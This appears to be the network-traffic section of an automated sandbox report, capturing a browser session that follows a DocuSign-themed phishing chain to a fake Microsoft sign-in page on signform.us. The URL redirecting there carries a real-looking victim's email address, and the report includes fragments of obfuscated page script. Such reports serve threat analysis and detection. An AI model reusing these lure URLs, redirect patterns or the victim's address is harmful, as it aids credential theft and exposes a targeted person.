Sep 27, 2024 08:18:46.867026091 CEST	52674	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:47.054094076 CEST	53	52674	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:47.146512032 CEST	53	53914	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:49.130060911 CEST	63007	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:49.130254984 CEST	52421	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:49.144756079 CEST	53	52421	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:49.150917053 CEST	53	63007	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:50.963733912 CEST	53	56739	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:51.851075888 CEST	49393	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:51.852241039 CEST	63301	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:51.864810944 CEST	53	49393	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:52.021847010 CEST	53	63301	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:53.512985945 CEST	56332	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:53.513463974 CEST	62571	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:53.529309034 CEST	53	62571	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:53.537806034 CEST	53	56332	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:56.403361082 CEST	53	51504	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:56.440818071 CEST	53988	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:56.440975904 CEST	58614	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:18:56.461426973 CEST	53	53988	1.1.1.1	192.168.2.5
Sep 27, 2024 08:18:56.566512108 CEST	53	58614	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:10.642016888 CEST	53	65274	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:32.334598064 CEST	53	64651	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:33.641305923 CEST	53	56390	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:35.462064981 CEST	52600	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:19:35.462294102 CEST	64778	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:19:35.462944031 CEST	60410	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:19:35.463167906 CEST	55258	53	192.168.2.5	1.1.1.1
Sep 27, 2024 08:19:35.468732119 CEST	53	52600	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:35.468946934 CEST	53	64778	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:35.476284981 CEST	53	55258	1.1.1.1	192.168.2.5
Sep 27, 2024 08:19:35.624811888 CEST	53	60410	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Sep 27, 2024 08:18:42.833429098 CEST	192.168.2.5	1.1.1.1	c232	(Port unreachable)	Destination Unreachable
Sep 27, 2024 08:18:52.022098064 CEST	192.168.2.5	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Sep 27, 2024 08:18:56.566581964 CEST	192.168.2.5	1.1.1.1	c231	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 08:18:34.306992054 CEST	192.168.2.5	1.1.1.1	0x2473	Standard query (0)	cnrsys.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:34.307441950 CEST	192.168.2.5	1.1.1.1	0x840e	Standard query (0)	cnrsys.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:35.450485945 CEST	192.168.2.5	1.1.1.1	0x4d28	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:35.450668097 CEST	192.168.2.5	1.1.1.1	0x799e	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:36.605861902 CEST	192.168.2.5	1.1.1.1	0x91f9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:36.606317997 CEST	192.168.2.5	1.1.1.1	0x43cd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:38.090320110 CEST	192.168.2.5	1.1.1.1	0xb154	Standard query (0)	docu8ign.web.app	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.090806961 CEST	192.168.2.5	1.1.1.1	0xca21	Standard query (0)	docu8ign.web.app	65	IN (0x0001)	false
Sep 27, 2024 08:18:38.631959915 CEST	192.168.2.5	1.1.1.1	0x11fa	Standard query (0)	cnrsys.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.632432938 CEST	192.168.2.5	1.1.1.1	0x8a32	Standard query (0)	cnrsys.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:38.987087965 CEST	192.168.2.5	1.1.1.1	0x2c76	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.987345934 CEST	192.168.2.5	1.1.1.1	0x7624	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Sep 27, 2024 08:18:40.136251926 CEST	192.168.2.5	1.1.1.1	0x6664	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:40.136789083 CEST	192.168.2.5	1.1.1.1	0xf30d	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Sep 27, 2024 08:18:42.490731001 CEST	192.168.2.5	1.1.1.1	0xea10	Standard query (0)	ingenieriawj.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:42.491172075 CEST	192.168.2.5	1.1.1.1	0x40ed	Standard query (0)	ingenieriawj.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:43.462510109 CEST	192.168.2.5	1.1.1.1	0xc8a6	Standard query (0)	www.ingenieriawj.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:43.462843895 CEST	192.168.2.5	1.1.1.1	0x3d50	Standard query (0)	www.ingenieriawj.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:44.331382036 CEST	192.168.2.5	1.1.1.1	0xfc15	Standard query (0)	accounts.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:44.331618071 CEST	192.168.2.5	1.1.1.1	0xd313	Standard query (0)	accounts.signform.us	65	IN (0x0001)	false
Sep 27, 2024 08:18:46.866828918 CEST	192.168.2.5	1.1.1.1	0x4c8a	Standard query (0)	www.ingenieriawj.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:46.867026091 CEST	192.168.2.5	1.1.1.1	0xdd65	Standard query (0)	www.ingenieriawj.com	65	IN (0x0001)	false
Sep 27, 2024 08:18:49.130060911 CEST	192.168.2.5	1.1.1.1	0x416b	Standard query (0)	3555af0f-b98cbfac.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:49.130254984 CEST	192.168.2.5	1.1.1.1	0x68bd	Standard query (0)	3555af0f-b98cbfac.signform.us	65	IN (0x0001)	false
Sep 27, 2024 08:18:51.851075888 CEST	192.168.2.5	1.1.1.1	0x26ed	Standard query (0)	3555af0f-b98cbfac.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:51.852241039 CEST	192.168.2.5	1.1.1.1	0x786d	Standard query (0)	3555af0f-b98cbfac.signform.us	65	IN (0x0001)	false
Sep 27, 2024 08:18:53.512985945 CEST	192.168.2.5	1.1.1.1	0xe1cd	Standard query (0)	69cde8a9-b98cbfac.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:53.513463974 CEST	192.168.2.5	1.1.1.1	0xf70d	Standard query (0)	69cde8a9-b98cbfac.signform.us	65	IN (0x0001)	false
Sep 27, 2024 08:18:56.440818071 CEST	192.168.2.5	1.1.1.1	0x5f95	Standard query (0)	69cde8a9-b98cbfac.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:56.440975904 CEST	192.168.2.5	1.1.1.1	0x81bf	Standard query (0)	69cde8a9-b98cbfac.signform.us	65	IN (0x0001)	false
Sep 27, 2024 08:19:35.462064981 CEST	192.168.2.5	1.1.1.1	0x4c3d	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:35.462294102 CEST	192.168.2.5	1.1.1.1	0x965b	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Sep 27, 2024 08:19:35.462944031 CEST	192.168.2.5	1.1.1.1	0xaa1e	Standard query (0)	134694a7-b98cbfac.signform.us	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:35.463167906 CEST	192.168.2.5	1.1.1.1	0x5ada	Standard query (0)	134694a7-b98cbfac.signform.us	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 08:18:34.446466923 CEST	1.1.1.1	192.168.2.5	0x2473	No error (0)	cnrsys.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:34.446466923 CEST	1.1.1.1	192.168.2.5	0x2473	No error (0)	cnrsys.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:34.492178917 CEST	1.1.1.1	192.168.2.5	0x840e	No error (0)	cnrsys.com			65	IN (0x0001)	false
Sep 27, 2024 08:18:35.457317114 CEST	1.1.1.1	192.168.2.5	0x4d28	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:36.614095926 CEST	1.1.1.1	192.168.2.5	0x91f9	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:36.614851952 CEST	1.1.1.1	192.168.2.5	0x43cd	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 08:18:38.112766981 CEST	1.1.1.1	192.168.2.5	0xb154	No error (0)	docu8ign.web.app		199.36.158.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.646200895 CEST	1.1.1.1	192.168.2.5	0x8a32	No error (0)	cnrsys.com			65	IN (0x0001)	false
Sep 27, 2024 08:18:38.766098976 CEST	1.1.1.1	192.168.2.5	0x11fa	No error (0)	cnrsys.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.766098976 CEST	1.1.1.1	192.168.2.5	0x11fa	No error (0)	cnrsys.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.993994951 CEST	1.1.1.1	192.168.2.5	0x2c76	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:38.993994951 CEST	1.1.1.1	192.168.2.5	0x2c76	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:38.993994951 CEST	1.1.1.1	192.168.2.5	0x2c76	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:38.994426012 CEST	1.1.1.1	192.168.2.5	0x7624	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:38.994426012 CEST	1.1.1.1	192.168.2.5	0x7624	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:39.017556906 CEST	1.1.1.1	192.168.2.5	0x6ae4	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:39.017556906 CEST	1.1.1.1	192.168.2.5	0x6ae4	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:40.142819881 CEST	1.1.1.1	192.168.2.5	0x6664	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:40.142819881 CEST	1.1.1.1	192.168.2.5	0x6664	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:40.142819881 CEST	1.1.1.1	192.168.2.5	0x6664	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:40.143352985 CEST	1.1.1.1	192.168.2.5	0xf30d	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:40.143352985 CEST	1.1.1.1	192.168.2.5	0xf30d	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:42.673744917 CEST	1.1.1.1	192.168.2.5	0xea10	No error (0)	ingenieriawj.com		149.56.200.84	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:43.745465994 CEST	1.1.1.1	192.168.2.5	0xc8a6	No error (0)	www.ingenieriawj.com	ingenieriawj.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:43.745465994 CEST	1.1.1.1	192.168.2.5	0xc8a6	No error (0)	ingenieriawj.com		149.56.200.84	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:43.763633966 CEST	1.1.1.1	192.168.2.5	0x3d50	No error (0)	www.ingenieriawj.com	ingenieriawj.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:44.492522955 CEST	1.1.1.1	192.168.2.5	0xfc15	No error (0)	accounts.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:46.997523069 CEST	1.1.1.1	192.168.2.5	0x254c	No error (0)	windowsupdatebg.s.llnwi.net		46.228.146.128	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:47.054094076 CEST	1.1.1.1	192.168.2.5	0xdd65	No error (0)	www.ingenieriawj.com	ingenieriawj.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:47.146512032 CEST	1.1.1.1	192.168.2.5	0x4c8a	No error (0)	www.ingenieriawj.com	ingenieriawj.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:47.146512032 CEST	1.1.1.1	192.168.2.5	0x4c8a	No error (0)	ingenieriawj.com		149.56.200.84	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:47.662548065 CEST	1.1.1.1	192.168.2.5	0x893a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:18:47.662548065 CEST	1.1.1.1	192.168.2.5	0x893a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:49.150917053 CEST	1.1.1.1	192.168.2.5	0x416b	No error (0)	3555af0f-b98cbfac.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:51.864810944 CEST	1.1.1.1	192.168.2.5	0x26ed	No error (0)	3555af0f-b98cbfac.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:53.537806034 CEST	1.1.1.1	192.168.2.5	0xe1cd	No error (0)	69cde8a9-b98cbfac.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:18:56.461426973 CEST	1.1.1.1	192.168.2.5	0x5f95	No error (0)	69cde8a9-b98cbfac.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:01.803322077 CEST	1.1.1.1	192.168.2.5	0x42cb	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:01.803322077 CEST	1.1.1.1	192.168.2.5	0x42cb	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:25.873157024 CEST	1.1.1.1	192.168.2.5	0x10b9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:25.873157024 CEST	1.1.1.1	192.168.2.5	0x10b9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:35.468732119 CEST	1.1.1.1	192.168.2.5	0x4c3d	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:35.624811888 CEST	1.1.1.1	192.168.2.5	0xaa1e	No error (0)	134694a7-b98cbfac.signform.us		206.206.125.198	A (IP address)	IN (0x0001)	false
Sep 27, 2024 08:19:45.534635067 CEST	1.1.1.1	192.168.2.5	0xa7b1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 08:19:45.534635067 CEST	1.1.1.1	192.168.2.5	0xa7b1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cnrsys.com

https:

docu8ign.web.app

aadcdn.msftauth.net

ingenieriawj.com

accounts.signform.us

3555af0f-b98cbfac.signform.us

69cde8a9-b98cbfac.signform.us

a.nel.cloudflare.com

fs.microsoft.com

134694a7-b98cbfac.signform.us

www.ingenieriawj.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49750	149.56.200.84	80	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:18:43.771562099 CEST	533	OUT	GET /dobe.php?url=https://docu8ign.web.app/5kZtQ3bfand0TbubQ3b5kZtingQ3br07xhH05Q3brbigQ3brd0TR3wH05nZ1 HTTP/1.1 Host: www.ingenieriawj.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Sep 27, 2024 08:18:44.324810028 CEST	410	IN	HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Sep 2024 06:18:44 GMT Server: Apache X-Powered-By: PHP/5.6.40 Location: https://accounts.signform.us/?username=stefan.bubestinger@hoerbiger.com#/common/oauth2/authorize?client_id=0.45184072966307-0ff1-0.062128664488964&auth=1-0.95789965379885 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49756	149.56.200.84	80	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:19:32.164061069 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	188.114.96.3	443	6544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:35 UTC	658	OUT	GET /.jhg/ HTTP/1.1 Host: cnrsys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:35 UTC	1350	IN	HTTP/1.1 503 Service Temporarily Unavailable Date: Fri, 27 Sep 2024 06:18:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Set-Cookie: McbEYet2v09v_3mL4sQI2byZSN8=yvHly5o5fyP3h84K6G_T2AUi0gk; path=/; expires=Sat, 28-Sep-24 06:18:33 GMT; Max-Age=86400; Set-Cookie: Hf0Pjp-DSxE9Av575dQ0UtIZPm4=1727417913; path=/; expires=Sat, 28-Sep-24 06:18:33 GMT; Max-Age=86400; Set-Cookie: otTRaleSHwO5ofIElCiiijhfVFk=1727504313; path=/; expires=Sat, 28-Sep-24 06:18:33 GMT; Max-Age=86400; Set-Cookie: meWWe2_espbdrxvUJHYxXvRB2Uo=CM76pA-ZlAOqg04ulzzxvwGM4_U; path=/; expires=Sat, 28-Sep-24 06:18:33 GMT; Max-Age=86400; X-Frame-Options: SAMEORIGIN Cache-Control: public, max-age=0 no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: 0 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YMLOLPGSRSsmwqIpR3fASjuCOZFyw2vqRj30ILIMSrYqMs%2BSqnDEjfXqZcDkX7Ba3r%2Bnd0eB9RJep02H0bLqRSKLTKeluxI%2FFC6uy6lWSfTwTYgQT%2FO0KIiV436O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare
2024-09-27 06:18:35 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 39 39 36 30 39 31 33 62 63 32 34 32 63 37 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8c9960913bc242c7-EWR
2024-09-27 06:18:35 UTC	1369	IN	Data Raw: 31 31 65 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d Data Ascii: 11eb<!DOCTYPE html><html><head><meta charset="utf-8" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" /><meta name="viewport" content="width=device-width, initial-
2024-09-27 06:18:35 UTC	1369	IN	Data Raw: 36 33 5c 78 36 38 5c 78 34 35 5c 78 37 36 5c 78 36 35 5c 78 36 45 5c 78 37 34 5c 78 32 38 5c 78 32 32 5c 78 36 46 5c 78 36 45 5c 78 37 32 5c 78 36 35 5c 78 36 31 5c 78 36 34 5c 78 37 39 5c 78 37 33 5c 78 37 34 5c 78 36 31 5c 78 37 34 5c 78 36 35 5c 78 36 33 5c 78 36 38 5c 78 36 31 5c 78 36 45 5c 78 36 37 5c 78 36 35 5c 78 32 32 5c 78 32 43 5c 78 32 30 5c 78 36 32 5c 78 32 39 5c 78 37 44 5c 78 33 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 36 32 5c 78 32 38 5c 78 36 36 5c 78 37 35 5c 78 36 45 5c 78 36 33 5c 78 37 34 5c 78 36 39 5c 78 36 46 5c 78 36 45 5c 78 32 38 5c 78 32 39 5c 78 37 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 63\x68\x45\x76\x65\x6E\x74\x28\x22\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x22\x2C\x20\x62\x29\x7D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\
2024-09-27 06:18:35 UTC	1369	IN	Data Raw: 37 5c 78 33 42 5c 78 32 30 5c 78 36 35 5c 78 37 38 5c 78 37 30 5c 78 36 39 5c 78 37 32 5c 78 36 35 5c 78 37 33 5c 78 33 44 5c 78 32 37 5c 78 32 30 5c 78 32 42 5c 78 32 30 5c 78 32 37 5c 78 35 33 5c 78 36 31 5c 78 37 34 5c 78 32 43 5c 78 32 30 5c 78 33 32 5c 78 33 38 5c 78 32 44 5c 78 35 33 5c 78 36 35 5c 78 37 30 5c 78 32 44 5c 78 33 32 5c 78 33 34 5c 78 32 30 5c 78 33 30 5c 78 33 36 5c 78 33 41 5c 78 33 31 5c 78 33 38 5c 78 33 41 5c 78 33 33 5c 78 33 35 5c 78 32 30 5c 78 34 37 5c 78 34 44 5c 78 35 34 5c 78 32 37 5c 78 32 30 5c 78 32 42 5c 78 32 30 5c 78 32 37 5c 78 33 42 5c 78 32 30 5c 78 37 30 5c 78 36 31 5c 78 37 34 5c 78 36 38 5c 78 33 44 5c 78 32 46 5c 78 32 37 5c 78 33 42 5c 78 30 41 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 7\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D\x27\x20\x2B\x20\x27\x53\x61\x74\x2C\x20\x32\x38\x2D\x53\x65\x70\x2D\x32\x34\x20\x30\x36\x3A\x31\x38\x3A\x33\x35\x20\x47\x4D\x54\x27\x20\x2B\x20\x27\x3B\x20\x70\x61\x74\x68\x3D\x2F\x27\x3B\x0A\x20\x20\x20\x20\x20\x
2024-09-27 06:18:35 UTC	488	IN	Data Raw: 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 36 35 5c 78 36 44 5c 78 36 39 5c 78 37 34 5c 78 32 39 5c 78 37 42 5c 78 32 46 5c 78 32 41 5c 78 36 33 5c 78 36 46 5c 78 37 35 5c 78 36 33 5c 78 36 38 5c 78 36 41 5c 78 37 33 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 39 5c 78 36 45 5c 78 36 34 5c 78 36 46 5c 78 37 37 5c 78 32 45 5c 78 37 33 5c 78 37 30 5c 78 36 31 5c 78 37 37 5c 78 36 45 5c 78 32 39 5c 78 37 42 5c 78 32 46 5c 78 32 41 5c 78 37 32 5c 78 36 38 5c 78 36 39 5c 78 36 45 5c 78 36 46 5c 78 32 41 5c 78 32 46 5c 78 30 41 5c 78 36 39 5c 78 36 36 5c 78 32 38 5c 78 32 31 5c 78 37 37 5c 78 36 Data Ascii: \x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x65\x6D\x69\x74\x29\x7B\x2F\x2A\x63\x6F\x75\x63\x68\x6A\x73\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x73\x70\x61\x77\x6E\x29\x7B\x2F\x2A\x72\x68\x69\x6E\x6F\x2A\x2F\x0A\x69\x66\x28\x21\x77\x6
